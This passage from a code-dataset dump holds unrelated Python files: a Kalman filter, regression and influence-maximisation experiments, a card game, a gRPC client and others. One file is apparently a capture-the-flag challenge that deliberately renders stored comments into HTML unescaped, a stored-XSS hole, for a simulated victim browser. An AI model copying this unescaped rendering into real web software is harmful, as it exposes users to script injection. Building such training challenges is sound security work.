send_mail_f=payload.get('send_mail_f', '')\n )\n log.info('修改调度预警详情[params: %s]' % str(params))\n return params\n\n\nns = api.namespace('dispatch', description='调度')\nns.add_resource(CrontabSearch, '/search/')\nns.add_resource(DispatchList, '/list/api/')\nns.add_resource(DispatchDetail, '/detail/api//')\nns.add_resource(DispatchAction, '/action/api/')\nns.add_resource(DispatchAdd, '/add/api/')\nns.add_resource(DispatchAlertAdd, '/alert/add/api/')\nns.add_resource(DispatchAlertDetail, '/alert/detail/api//')\n","sub_path":"resources/dispatch.py","file_name":"dispatch.py","file_ext":"py","file_size_in_byte":11510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"52046820","text":"#!/usr/bin/python3\nimport sqlite3\nimport subprocess\nimport sys\n\nfrom flask import Flask, g, request\nfrom werkzeug.exceptions import BadRequest\n\n\ndef create_app():\n \"\"\"\n Initialize Flask application\n \"\"\"\n app = Flask(__name__)\n\n @app.route('/comments', methods=['POST'])\n def post_comment():\n \"\"\"\n Post a new comment\n \"\"\"\n comment = request.form.get('comment')\n if not comment:\n raise BadRequest('Missing comment param')\n\n g.cursor.execute(\n \"INSERT INTO comments(author, comment) VALUES(?,?)\",\n (g.email, comment)\n )\n g.conn.commit()\n\n g.cursor.execute(\"SELECT author, comment FROM comments WHERE author IN ('admin', ?)\", (g.email,))\n comments = g.cursor.fetchall()\n\n rows = ''\n resp = \"\" \\\n \" \" \\\n \" \" \\\n \" \" \\\n \" \" \\\n \" {}\" \\\n \"
Authorcomment
\"\n for entry in comments:\n rows += \"\" \\\n \"{}\" \\\n \"{}\" \\\n \"\".format(\n entry[0],\n entry[1],\n )\n\n return resp.format(rows)\n\n return app\n\n\nAPP = create_app()\nAPP.config['DEBUG'] = True\nAPP.config['TESTING'] = True\n\nif __name__ == '__main__':\n email = sys.argv[1]\n comment = sys.argv[2]\n if not comment:\n print('Missing comment')\n sys.exit(0)\n\n # 1st step:\n # Post comment\n conn = sqlite3.connect('/tmp/stored_xss/stored_xss.db', isolation_level=None)\n cursor = conn.cursor()\n tester = APP.test_client()\n ctx = APP.test_request_context()\n ctx.push()\n g.conn = conn\n g.cursor = cursor\n g.email = email\n response = tester.post(\n '/comments',\n data=dict(comment=comment)\n )\n html = response.get_data(as_text=True)\n conn.close()\n\n # 2nd step:\n # The victim goes see the webpage containing the comments\n process = subprocess.Popen(('python3', 'victim_browser.py', email, html), stdout=subprocess.PIPE)\n output = process.communicate()[0]\n print(output.decode())\n","sub_path":"challs/stored_xss.dir/stored_xss.py","file_name":"stored_xss.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"567178377","text":"# Code you have previously used to load data\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.impute import SimpleImputer\nprint(\"Modules imported\")\n\n# Path of the file to read. We changed the directory structure to simplify submitting to a competition\niowa_file_path = 'data/train.csv'\n\nhome_data = pd.read_csv(iowa_file_path)\n# Create target object and call it y\ny = home_data.SalePrice\n\n'''\n# Create X\nfeatures = ['LotArea', 'YearBuilt', '1stFlrSF', '2ndFlrSF', 'FullBath', 'BedroomAbvGr', 'TotRmsAbvGrd']\nX = home_data[features]\n\n# Split into validation and training data\ntrain_X, val_X, train_y, val_y = train_test_split(X, y, random_state=1)\nprint(\"Data preprocessed\")\n\n\n# Define the model. Set random_state to 1\nrf_model = RandomForestRegressor(random_state=1)\nrf_model.fit(train_X, train_y)\nprint(\"Training1 completed\")\n\nrf_val_predictions = rf_model.predict(val_X)\nrf_val_mae = mean_absolute_error(rf_val_predictions, val_y)\n\nprint(\"Validation MAE for Random Forest Model1: {:,.0f}\".format(rf_val_mae))\n\n\n# Define the model. Set random_state to 1\nrf_model = RandomForestRegressor(n_estimators=85, random_state=1)\nrf_model.fit(train_X, train_y)\nprint(\"Training2 completed\")\n\nrf_val_predictions = rf_model.predict(val_X)\nrf_val_mae = mean_absolute_error(rf_val_predictions, val_y)\n\nprint(\"Validation MAE for Random Forest Model2: {:,.0f}\".format(rf_val_mae))\n'''\n\n# Create new X\n\nnew_X = home_data.drop(['Id', 'SalePrice'],axis=1)\n#features = ['LotArea', 'YearBuilt', '1stFlrSF', '2ndFlrSF', 'FullBath', 'BedroomAbvGr', 'TotRmsAbvGrd', 'MSZoning', 'Street', 'Neighborhood']\n#new_X = home_data[features]\n#new_X = new_X.fillna(method='ffill')\n#print(new_X.head())\n#new_X = pd.get_dummies(new_X, dummy_na=True)\n#print(new_X.head())\n\n#print(new_X.describe)\n\n# Split into validation and training data\nnew_train_X, new_val_X, new_train_y, new_val_y = train_test_split(new_X, y, random_state=1)\nprint(\"Data preprocessed\")\n\n\nnew_train_X['label'] = 1\nnew_val_X['label'] = 0\n#print(new_train_X.describe)\n#print(new_val_X.describe)\n\n# Concat\nconcat_df = pd.concat([new_train_X, new_val_X])\nprint('after concat')\n\n# Create your dummies\nfeatures_df = pd.get_dummies(concat_df, dummy_na=True)\n#features_df = concat_df.fillna(method='ffill')\nimputed_features_df = features_df.copy()\nprint(features_df.columns)\n\nmy_imputer = SimpleImputer()\nimputed_features_nd = my_imputer.fit_transform(imputed_features_df)\nimputed_features_df = pd.DataFrame(imputed_features_nd, columns=features_df.columns)\nprint('after dummies')\n#imputed_features_df.colums = features_df.columns\nprint(imputed_features_df.columns)\nprint(imputed_features_df.describe)\nprint(imputed_features_df.label)\n\n# Split your data\ntrain_df = imputed_features_df[imputed_features_df['label'] == 1]\nscore_df = imputed_features_df[imputed_features_df['label'] == 0]\nprint('after split')\n\n\n# Drop your labels\nnew_train_X = train_df.drop('label', axis=1)\nnew_val_X = score_df.drop('label', axis=1)\nprint('after drop')\n\n# Define the model. Set random_state to 1\nrf_model = RandomForestRegressor(random_state=1)\nrf_model.fit(new_train_X, new_train_y)\nprint(\"Training1 completed\")\n\nrf_val_predictions = rf_model.predict(new_val_X)\nrf_val_mae = mean_absolute_error(rf_val_predictions, new_val_y)\n\nprint(\"Validation MAE for Random Forest Model21: {:,.0f}\".format(rf_val_mae))\n\n# Define the model. Set random_state to 1\nrf_model = RandomForestRegressor(n_estimators=20, random_state=1)\nrf_model.fit(new_train_X, new_train_y)\nprint(\"Training2 completed\")\n\nrf_val_predictions = rf_model.predict(new_val_X)\nrf_val_mae = mean_absolute_error(rf_val_predictions, new_val_y)\n\nprint(\"Validation MAE for Random Forest Model22: {:,.0f}\".format(rf_val_mae))","sub_path":"hp.py","file_name":"hp.py","file_ext":"py","file_size_in_byte":3867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"549610194","text":"import numpy as np\n\n'''\nExample: \n\n# Initialize\ninitial_bb = np.matrix([[50.], [60.], [10.], [30.]])\nkf = KalmanFilter(initial_bb=initial_bb, dt=1.0, covar=1.0, \n proc_noise=4., alpha=0.99, \n r_1_xy=2., r_1_wh=5., r_2_xy=25., r_2_wh=50.)\n\n# Loop this\nnext_bb = np.matrix([[48.], [65.], [14.], [33.]])\nfiltered_prediction = kf.Update(next_bb)\n'''\n\nclass KalmanFilter:\n def __init__(self, initial_bb, dt, covar, proc_noise, alpha, r_1_xy, r_1_wh, r_2_xy, r_2_wh):\n '''\n Inputs:\n initial_bb: inital bounding box, a 4x1 matrix [[x], [y], [w], [h]]\n dt: time delta between frames\n covar: covariance to use along the diagonal of P\n proc_noise: process noise, added to uncertainty\n alpha: odds of having a `normal` update (without a 'large' jump in xywh)\n r_1_xy: measurement noise along the xy dimensions normally\n r_1_xy: measurement noise along the wh dimensions normally\n r_2_xy: measurement noise along the xy dimensions in execptionally large cases\n r_2_xy: measurement noise along the wh dimensions in execptionally large cases\n '''\n # Numpy data type to use for computation\n self.dtype = np.float64\n\n # Time delta between frames\n self.dt = self.dtype(dt)\n\n # Odds of a normal (not enormous) error\n self.alpha = self.dtype(alpha)\n\n # Measurement [[x], [y], [w], [h]]\n self.z_k = initial_bb.astype(self.dtype)\n\n # Prediction from previous state\n self.A_k = (np.eye(8) + np.diagflat([dt, dt, 0., 0., dt, dt], 2)).astype(self.dtype)\n\n # State space to observation space conversion\n self.H_k = np.matrix([[1., 0., 0., 0., 0., 0., 0., 0.],\n [0., 1., 0., 0., 0., 0., 0., 0.],\n [0., 0., 0., 0., 1., 0., 0., 0.],\n [0., 0., 0., 0., 0., 1., 0., 0.]], dtype=self.dtype)\n\n # State [x, y, xdot, ydot, w, h, wdot, hdot]\n self.X_k = self.H_k.T @ self.z_k\n \n # Measurement Noise\n self.R_k_1 = np.diagflat([r_1_xy, r_1_xy, r_1_wh, r_1_wh]).astype(self.dtype)\n self.R_k_2 = np.diagflat([r_2_xy, r_2_xy, r_2_wh, r_2_wh]).astype(self.dtype)\n\n # Covariance\n self.P_k = covar * np.eye(8, dtype=self.dtype)\n\n # Process covariance matrix\n pn2 = proc_noise ** 2.0\n self.Q_k = np.diagflat([0., 0., pn2, pn2, 0., 0., pn2, pn2]).astype(self.dtype)\n\n\n def update(self, z_k):\n '''\n Inputs:\n z_k: the new measurement [[x], [y], [w], [h]]\n\n Returns:\n Updated estimate of 4x1 xywh bounding box\n '''\n A_k = self.A_k\n P_k = self.P_k\n Q_k = self.Q_k\n H_k = self.H_k\n alpha = self.alpha \n beta = 1.0 - self.alpha\n R_k_1 = self.R_k_1\n R_k_2 = self.R_k_2\n\n # Predict without using measurement\n X_k_bar = self.A_k @ self.X_k\n P_k_bar = (A_k @ P_k @ A_k.T) + Q_k\n\n\n # Correction using measurement\n hpht = H_k @ P_k_bar @ H_k.T\n pht = P_k_bar @ H_k.T\n K_1 = pht @ np.linalg.pinv(hpht + R_k_1)\n K_2 = pht @ np.linalg.pinv(hpht + R_k_2)\n K_k = (alpha * K_1) + (beta * K_2)\n self.X_k = X_k_bar + K_k @ (z_k - H_k @ X_k_bar)\n B = (K_1 - K_2) @ (z_k - H_k @ X_k_bar)\n self.P_k = ((np.eye(8) - K_k @ H_k) @ P_k_bar) + (alpha * beta * (B @ B.T))\n #print(f' z_k: {z_k.T}\\n Prediction: {(H_k @ X_k_bar).T}\\n Correction: {(H_k @ self.X_k).T}')\n return H_k @ self.X_k\n","sub_path":"kalman_filter.py","file_name":"kalman_filter.py","file_ext":"py","file_size_in_byte":3668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"497755656","text":"import matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport numpy as np\nimport cv2\nimport p1\n\n\n# Read in and grayscale the image\nimage = mpimg.imread(r'test_images\\exit-ramp.jpg')\ngray = cv2.cvtColor(image,cv2.COLOR_RGB2GRAY)\nheight = image.shape[0]\nwidth = image.shape[1]\n\n# Define a kernel size and apply Gaussian smoothing\nkernel_size = 5\nblur_gray = cv2.GaussianBlur(gray,(kernel_size, kernel_size),0)\n\n# sobel x\nsobelXImage = np.uint8(np.absolute(\n cv2.Sobel(blur_gray, cv2.CV_64F, 1, 0)\n ))\ncv2.imshow(\"sobel\",sobelXImage)\n# Define our parameters for Canny and apply\nlow_threshold = 50\nhigh_threshold = 150\nedges = cv2.Canny(sobelXImage, low_threshold, high_threshold)\ncv2.imshow(\"edges\",edges)\n\n# Define the Hough transform parameters\n# Make a blank the same size as our image to draw on\nrho = 1\ntheta = np.pi/180\nthreshold = 100 #can use to select the lines we need, more large than less line\nmin_line_length = 100 # Minimum length of line. Line segments shorter than this are rejected.\nmax_line_gap = 25 # Maximum allowed gap between line segments to treat them as single line.\nline_image = np.copy(image)*0 #creating a blank to draw lines on\n\n# Run Hough on edge detected image\nlines = cv2.HoughLinesP(edges, rho, theta, threshold,\n min_line_length, max_line_gap)\n\n# Iterate over the output \"lines\" and draw lines on the blank\nif lines is not None:\n for line in lines:\n for x1,y1,x2,y2 in line:\n cv2.line(line_image,(x1,y1),(x2,y2),(255,0,0),10)\n\n# region setting\nregion_of_interest_vertices = np.array([[\n [0, height], [width/3,height/2],\n [width/3*2,height/2],[width, height]]],\n dtype = np.int32)\n\n# region interest\nafter_region_line_image = p1.region_of_interest(line_image, region_of_interest_vertices)\n\n# Create a \"color\" binary image to combine with line image\ncolor_edges = np.dstack((edges, edges, edges)) \n\n# Draw the lines on the edge image\ncombo = cv2.addWeighted(image, 0.8, after_region_line_image, 1, 0) \nplt.imshow(combo)\nplt.show()","sub_path":"hough_line.py","file_name":"hough_line.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"135272786","text":"from __future__ import print_function\n\nimport random\nimport logging\n\nimport grpc\n\nimport test_generator_pb2\nimport test_generator_pb2_grpc\n\ndef get_sentences(stub):\n words = input(\"Words to generate cloze tests for: \")\n for word in words.split(' '):\n word_message = test_generator_pb2.Word(text=word)\n print(\"Searching for a sentence for '%s'...\" %(word))\n sentence = stub.GetSentence(word_message)\n print(sentence.text)\n \n\ndef run():\n with grpc.insecure_channel('localhost:50051') as channel:\n stub = test_generator_pb2_grpc.TestGeneratorStub(channel)\n get_sentences(stub)\n \n\n\nif __name__ == '__main__':\n logging.basicConfig()\n run()\n","sub_path":"src/test_generator_client.py","file_name":"test_generator_client.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"273555512","text":"# HARDCODED LIMIT TO BE MOVED TO GLOBAL PREFERENCES\nlimit = 5\n\nportal = context.getPortalObject()\n\nkw['limit'] = limit\nkw['portal_type'] = 'Support Request'\nkw['simulation_state'] = [\"validated\",\"submitted\"]\nkw['default_resource_uid'] = portal.service_module.slapos_crm_monitoring.getUid()\nif destination_decision:\n kw['default_destination_decision_uid'] = context.restrictedTraverse(\n destination_decision).getUid()\n\nsupport_request_list = context.portal_catalog(**kw)\n\nreturn len(support_request_list) >= limit\n","sub_path":"master/bt5/slapos_crm/SkinTemplateItem/portal_skins/slapos_crm_monitoring/ERP5Site_isSupportRequestCreationClosed.py","file_name":"ERP5Site_isSupportRequestCreationClosed.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"115032642","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nimport matplotlib.pyplot as plt\nfrom sklearn.utils import shuffle\nfrom sklearn.metrics import explained_variance_score, mean_absolute_error, mean_squared_error, r2_score, mean_squared_log_error, average_precision_score\n\nclass StepRegression:\n def __init__(self, filename):\n df = pd.read_csv(filename, header = None)\n #df = shuffle(df)\n self.X = np.array(df.drop([0], axis=1))\n #self.X = StandardScaler().fit_transform(self.X)\n self.y = np.array(df[0])\n\n self.learning_rate = 0.1\n self.num_iterations = 100\n self.cv_splits = 5\n self.division = 463715\n\n def hypothesis(self, b, W, X):\n return np.matmul(X, W) + b\n\n def compute_cost(self, b, W, X, y):\n total_cost = np.sum(np.square(y - self.hypothesis(b, W, X)))\n return total_cost/(2*X.shape[0])\n\n def gradient_descent_runner(self, X, y, b, W):\n cost_graph = []\n #For every iteration, optimize b, m and compute its cost\n for i in range(self.num_iterations):\n cost_graph.append(self.compute_cost(b, W, X, y))\n b, W = self.step_gradient(b, W, X, y)\n return [b, W, cost_graph]\n\n def step_gradient(self, b, W, X, y):\n #Calculate Gradient\n W_gradient = (self.hypothesis(b, W, X) - y).dot(X)/X.shape[0]\n b_gradient = np.sum(X.dot(W) + b - y)/X.shape[0]\n #Update current W and b\n W -= self.learning_rate * W_gradient\n b -= self.learning_rate * b_gradient\n #Return updated parameters\n return b, W\n\nif __name__ == \"__main__\":\n sr = StepRegression(\"YearPredictionMSD/YearPredictionMSD.txt\")\n #X_train, X_test, y_train, y_test = train_test_split(sr.X, sr.y, test_size = 0.2, random_state = 1)\n X_train, y_train = StandardScaler().fit_transform(sr.X[:sr.division]), sr.y[:sr.division]\n X_test, y_test = StandardScaler().fit_transform(sr.X[sr.division:]), sr.y[sr.division:]\n split_size = X_train.shape[0]//sr.cv_splits\n\n\n # Hold out validation instead of Cross Validation because of large training time\n\n X_t, X_val, y_t, y_val = train_test_split(X_train, y_train, test_size=0.2, random_state=1)\n\n remaining = list(range(90))\n steps = []\n dft = pd.DataFrame(X_t, columns = remaining)\n dfv = pd.DataFrame(X_val, columns = remaining)\n best_ar2 = -1\n all_ar2 = []\n while remaining != []:\n temp = list(steps)\n ar2 = {}\n for i in remaining:\n temp.append(i)\n b = np.random.normal()\n X = np.array(dft[temp])\n y = y_t\n W = np.random.normal(size=X.shape[1])\n b, W, cost_graph = sr.gradient_descent_runner(X, y, b, W)\n X = dfv[temp]\n y = y_val\n h = sr.hypothesis(b, W, X)\n\n SS_Residual = sum((y - h) ** 2)\n SS_Total = sum((y - np.mean(y)) ** 2)\n r_squared = 1 - (float(SS_Residual)) / SS_Total\n adjusted_r_squared = 1 - (1 - r_squared) * (len(y) - 1) / (len(y) - X.shape[1] - 1)\n ar2[i] = adjusted_r_squared\n temp = temp[:-1]\n best_col = -1\n for col in ar2:\n if ar2[col] > best_ar2:\n best_col = col\n best_ar2 = ar2[col]\n if best_col != -1:\n steps.append(best_col)\n remaining.remove(best_col)\n print(\"Step\", 90 - len(remaining))\n print(\"R2 Score :\", best_ar2)\n print(\"Columns\", steps)\n all_ar2.append(best_ar2)\n else:\n break\n print(\"Selected Features using Step Regression.\", steps)\n\n plt.plot(range(1, len(all_ar2) + 1), all_ar2)\n plt.title(\"Step Regression\")\n plt.xlabel(\"Number of Selected Features\")\n plt.ylabel(\"R2 Score\")\n plt.show()\n\n X_train = np.array(pd.DataFrame(X_train, columns = list(range(90)))[steps])\n X_test = np.array(pd.DataFrame(X_test, columns=list(range(90)))[steps])\n \"\"\"\n ev = []\n mae = []\n rmse = []\n msle = []\n r2 =[]\n #Commented block of code of Cross Validation. Used Hold out validation instead due to large training time.\n b, W = None, None\n for i in range(lr.cv_splits):\n print(\"Cross Validation for Split \", i+1)\n start = i * split_size\n end = (i+1) * split_size\n X = np.concatenate((X_train[:start], X_train[end:]), axis = 0)\n y = np.concatenate((y_train[:start], y_train[end:]), axis=0)\n b = np.random.normal()\n W = np.random.normal(size=lr.X.shape[1])\n\n b, W, cost_graph = lr.gradient_descent_runner(X, y, b, W)\n\n plt.plot(range(lr.num_iterations), np.log(cost_graph))\n plt.title(\"Number of Iterations vs Cost\")\n plt.show()\n\n X, y = X_train[start:end], y_train[start:end]\n h = lr.hypothesis(b, W, X)\n\n ev.append(explained_variance_score(y, h))\n print(\"Explained Variance : \", ev[-1])\n mae.append(mean_absolute_error(y, h))\n print(\"Mean Absolute Error : \", mae[-1])\n rmse.append(mean_squared_error(y, h) ** .5)\n print(\"Root Mean Squared Error : \", rmse[-1])\n msle.append(mean_squared_log_error(y, h))\n print(\"Mean Squared Log Error : \", msle[-1])\n r2.append(r2_score(y, h))\n print(\"R2 Score : \", r2[-1])\n\n plt.plot(range(lr.cv_splits), ev, \"bo\")\n #plt.plot(range(lr.cv_splits), mae, \"r+\")\n #plt.plot(range(lr.cv_splits), rmse, \"g--\")\n #plt.plot(range(lr.cv_splits), msle, \"b.\")\n plt.plot(range(lr.cv_splits), r2, \"g^\")\n plt.title(\"Split vs Metrics\")\n plt.show()\n \"\"\"\n\n print(\"Test Data\")\n b = np.random.normal(scale=1 / X_train.shape[1] ** .5)\n # can get the size by checking it in the gradient_descent_runner function\n W = np.random.normal(scale=1 / X_train.shape[1] ** .5, size=X_train.shape[1])\n\n b, W, cost_graph = sr.gradient_descent_runner(X_train, y_train, b, W)\n\n np.save(\"SRWeights.npy\", np.append(W, b))\n np.save(\"SRSteps.npy\", np.array(steps))\n\n h = sr.hypothesis(b, W, X_test)\n\n print(\"Explained Variance : \", explained_variance_score(y_test, h))\n print(\"Mean Absolute Error : \", mean_absolute_error(y_test, h))\n print(\"Root Mean Squared Error : \", mean_squared_error(y_test, h) ** .5)\n print(\"Mean Squared Log Error : \", mean_squared_log_error(y_test, h))\n print(\"R2 Score : \", r2_score(y_test, h))\n\n\n\n\n\n\n\n","sub_path":"StepRegression.py","file_name":"StepRegression.py","file_ext":"py","file_size_in_byte":6476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"79259533","text":"# -*- coding: utf-8 -*-\nimport logging\n\nfrom flask import Flask\nfrom flask.config import json\n\nlogger = logging.getLogger(__name__)\napp = Flask(__name__)\n\napp.url_map.strict_slashes = False\n\nresources_list = [\n]\n\nfor resource in resources_list:\n app.register_blueprint(resource.blueprint)\n\n\n@app.teardown_request\ndef clear_session(exception):\n del exception\n\n\ndef main():\n json.datetime()\n app.run(debug=True, host='127.0.0.1')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"594987084","text":"class PlayingCard:\n def __init__(self, suit, value):\n self.suit = suit\n self.value = value\n\n def card_name(self):\n return str(self.value) + self.suit\n\n\ndef number_of_players():\n \"\"\"Take player input to create the number of players in the game - 2, 3, 4\"\"\"\n player_count = int(input(\"How many players? (2, 3, or 4) \"))\n acceptable = [2, 3, 4]\n while player_count not in acceptable:\n player_count = int(input(\"{} is not a valid answer. Please enter 2, 3, or 4. \".format(player_count)))\n return player_count\n\n\ndef card_gen(suits):\n \"\"\"Takes a list of suits and returns a shuffled 36 card deck (values 6 - Ace(14))\"\"\"\n from random import shuffle\n deck = []\n for suit in suits:\n for value in range(6, 15):\n deck.append(PlayingCard(suit, value))\n shuffle(deck)\n return deck\n\n\ndef assign_trump(talon):\n \"\"\"sets global trump variable - use at the start of each game\"\"\"\n trump = talon[0]\n print(\"Trump card is {}\".format(trump.card_name()))\n return trump\n\n\ndef create_hands(players):\n \"\"\"Creates empty list for each player's hand\"\"\"\n hands = {}\n i = players\n while i > 0:\n hands[i] = []\n i -= 1\n return hands\n\n\ndef dealer(hands, talon, hand_size):\n \"\"\"Brings each hand's card count up to the HAND_SIZE\"\"\"\n print(\"Dealing...\")\n print(\"---------------------------------\\n\")\n for k, v in hands.items():\n while len(v) < hand_size and len(talon) > 0:\n v.append(talon.pop())\n\n\ndef first_to_play(hands, trump):\n \"\"\"Checks each hand for the lowest trump card and returns who goes first.\"\"\"\n lowest = 15\n first_player = 1\n low_card = 0\n for player, hand in hands.items():\n for card in hand:\n if card.suit == trump.suit and card.value < lowest:\n lowest = card.value\n first_player = player\n low_card = card.card_name()\n print(\"Player {} has the lowest trump - {} - and will play first.\".format(first_player, low_card))\n print(\"---------------------------------\\n\")\n return first_player\n\n\ndef print_hand(hand, player):\n \"\"\"Takes single list of PlayingCard objects and the player number, prints hand in string format\n Also prints remaining cards in talon and trump card to remind players.\n \"\"\"\n hand_string = \"Player {} current hand: \".format(player)\n for card in hand:\n hand_string += \"{} \".format(card.card_name())\n print(hand_string)\n\n\ndef print_seats(players, hands, trump, talon):\n \"\"\"Generates a simple display to keep the player updated. Varies based on number of players.\n Shows total card count for each player, and whose turn it is.\"\"\"\n if players == 2:\n print(\" Player 2 ({} cards) \".format(len(hands[2])))\n print(\" | \")\n print(\" | \")\n print(\" | \")\n print(\" | \")\n print(\" Player 1 ({} cards) \\n\".format(len(hands[1])))\n elif players == 3:\n print(\" Player 3 ({} cards) \".format(len(hands[3])))\n print(\" / | \")\n print(\" / | \")\n print(\"Player 2 ({} cards) |\".format(len(hands[2])))\n print(\" \\ | \")\n print(\" \\ | \")\n print(\" Player 1 ({} cards) \\n\".format(len(hands[1])))\n elif players == 4:\n print(\" Player 3 ({} cards) \".format(len(hands[3])))\n print(\" / \\ \")\n print(\" / \\ \")\n print(\"Player 2 ({} cards) Player 4 ({} cards)\".format(len(hands[2]), len(hands[4])))\n print(\" \\ /\")\n print(\" \\ / \")\n print(\" Player 1 ({} cards) \\n\".format(len(hands[1])))\n print_state(trump, talon)\n\n\ndef print_state(trump, talon):\n \"\"\"Prints important game state information\"\"\"\n print(\"Remaining cards: {}\".format(len(talon)))\n print(\"Trump card: {}\".format(trump.card_name()))\n print(\"---------------------------------\\n\")","sub_path":"first_post/durak.py","file_name":"durak.py","file_ext":"py","file_size_in_byte":4105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"16195298","text":"import tools\r\nimport acceptance\r\nimport random\r\nimport copy\r\nimport time\r\nimport math\r\nimport multiprocessing\r\n\r\ndef adaptgreedy(graph, b, c, k, nodes_acceptance, epsilon, delta):\r\n activeUser = set()\r\n x = {}\r\n for node in graph.nodes:\r\n x[node] = 0\r\n cost = 0\r\n flag = True\r\n while cost < k:\r\n candidate = graph.nodes - activeUser\r\n subgraph = tools.getSubgraph(graph, candidate)\r\n needRemove = set()\r\n for u in candidate:\r\n if x[u] == b:\r\n needRemove.add(u)\r\n candidate = candidate - needRemove\r\n r = min(k, len(subgraph.nodes))\r\n l = math.log(r / delta, len(subgraph.nodes))\r\n if flag:\r\n R = Sampling(subgraph, x, c, nodes_acceptance, candidate, epsilon, l)\r\n print(len(R))\r\n uStar, Cover_uStar = maxCoverage(R, x, c, candidate, nodes_acceptance)\r\n uCost = c * (1.2 ** x[uStar])\r\n if cost + uCost > k:\r\n rand = random.random()\r\n if rand < (1 - (k - cost) / uCost):\r\n break\r\n x[uStar] += 1\r\n cost += uCost\r\n rand = random.random()\r\n if rand < nodes_acceptance[uStar]:\r\n flag = True\r\n update(subgraph, uStar, activeUser)\r\n else:\r\n flag = False\r\n return len(activeUser)\r\n\r\ndef Sampling(graph, x, c, nodes_acceptance, candidate, epsilon, l):\r\n epsilonPrime = math.sqrt(2) * epsilon\r\n LB = 1\r\n n = len(graph.nodes)\r\n lambdaPrime = (2 + 2 / 3 * epsilonPrime) * ((l + 1) * math.log(n) + math.log(math.log2(n))) * n / (epsilonPrime ** 2)\r\n alpha = math.sqrt(l * math.log(n) + math.log(2))\r\n beta = math.sqrt((1 - 1 / math.e) * ((l + 1) * math.log(n) + math.log(2)))\r\n lambdaStar = 2 * n * (((1 - 1 / math.e) * alpha + beta) ** 2) / (epsilonPrime ** 2)\r\n R = []\r\n for i in range(1, math.ceil(math.log2(n))):\r\n omega = n / (2 ** i)\r\n theta = lambdaPrime / omega\r\n if len(R) <= theta:\r\n add_R = generate(graph, theta - len(R))\r\n R.extend(add_R)\r\n uStar, Cover_uStar = maxCoverage(R, x, c, candidate, nodes_acceptance)\r\n h = n * Cover_uStar\r\n if h >= (1 + epsilonPrime) * omega:\r\n LB = h / (1 + epsilonPrime)\r\n break\r\n theta = lambdaStar / LB\r\n if len(R) <= theta:\r\n add_R = generate(graph, theta - len(R))\r\n R.extend(add_R)\r\n return R\r\n\r\ndef calcAverage(graph, b, c, k, nodes_acceptance, epsilon, delta, times=10):\r\n influence = 0\r\n for i in range(times):\r\n current = adaptgreedy(graph, b, c, k, nodes_acceptance, epsilon, delta)\r\n print(\"inf = \" + str(current))\r\n influence += current\r\n print(\"time = \" + str(i))\r\n average = influence / times\r\n return average\r\n\r\ndef generateRRset(graph):\r\n nodes_list = list(graph.nodes)\r\n rand = random.randint(0, len(nodes_list) - 1)\r\n selectedNode = nodes_list[rand]\r\n RRset = reverseSearch(graph, selectedNode)\r\n return RRset\r\n\r\ndef generate(graph, theta):\r\n n = multiprocessing.cpu_count()\r\n pool = multiprocessing.Pool()\r\n results = []\r\n for i in range(n):\r\n result = pool.apply_async(generateThread, args=(graph, theta / n))\r\n results.append(result)\r\n pool.close()\r\n pool.join()\r\n R = []\r\n for result in results:\r\n R.extend(result.get())\r\n return R\r\n\r\ndef generateThread(graph, theta):\r\n R = []\r\n th = int(theta)\r\n for i in range(th):\r\n current_R = generateRRset(graph)\r\n R.append(current_R)\r\n return R\r\n\r\ndef maxCoverage(R, x, c, candidate, nodes_acceptance):\r\n n = multiprocessing.cpu_count()\r\n max_node = -10000\r\n max_cover = -10000\r\n pool = multiprocessing.Pool()\r\n candidate = list(candidate)\r\n nodes_cpu_list = tools.chunkIt(candidate, n)\r\n results = []\r\n for node_section in nodes_cpu_list:\r\n result = pool.apply_async(maxCoverageThread, args=(R, x, c, node_section, nodes_acceptance))\r\n results.append(result)\r\n pool.close()\r\n pool.join()\r\n for result in results:\r\n if result.get()[1] > max_cover:\r\n max_node = result.get()[0]\r\n max_cover = result.get()[1]\r\n return max_node, max_cover\r\n\r\ndef maxCoverageThread(R, x, c, candidate, nodes_acceptance):\r\n max_node = -10000\r\n max_cover = -10000\r\n for node in candidate:\r\n node_cover = cover(R, node)\r\n hh = nodes_acceptance[node] * node_cover / (c * (1.2 ** x[node]))\r\n if hh > max_cover:\r\n max_node = node\r\n max_cover = hh\r\n result = []\r\n result.append(max_node)\r\n result.append(max_cover)\r\n return result\r\n\r\ndef cover(R, node):\r\n sum = 0\r\n for RRset in R:\r\n if node in RRset:\r\n sum += 1\r\n return sum/len(R)\r\n\r\ndef reverseSearch(graph, root):\r\n searchSet = set()\r\n queue = []\r\n queue.append(root)\r\n searchSet.add(root)\r\n while len(queue) != 0:\r\n current_node = queue.pop(0)\r\n parentss = graph.get_parentss(current_node)\r\n for parent in parentss:\r\n if parent not in searchSet:\r\n rate = graph.edges[(parent, current_node)]\r\n if tools.isHappened(rate):\r\n searchSet.add(parent)\r\n queue.append(parent)\r\n return searchSet\r\n\r\ndef findMax(user_gain):\r\n uStar = -10000\r\n max_gain = -10000\r\n for node 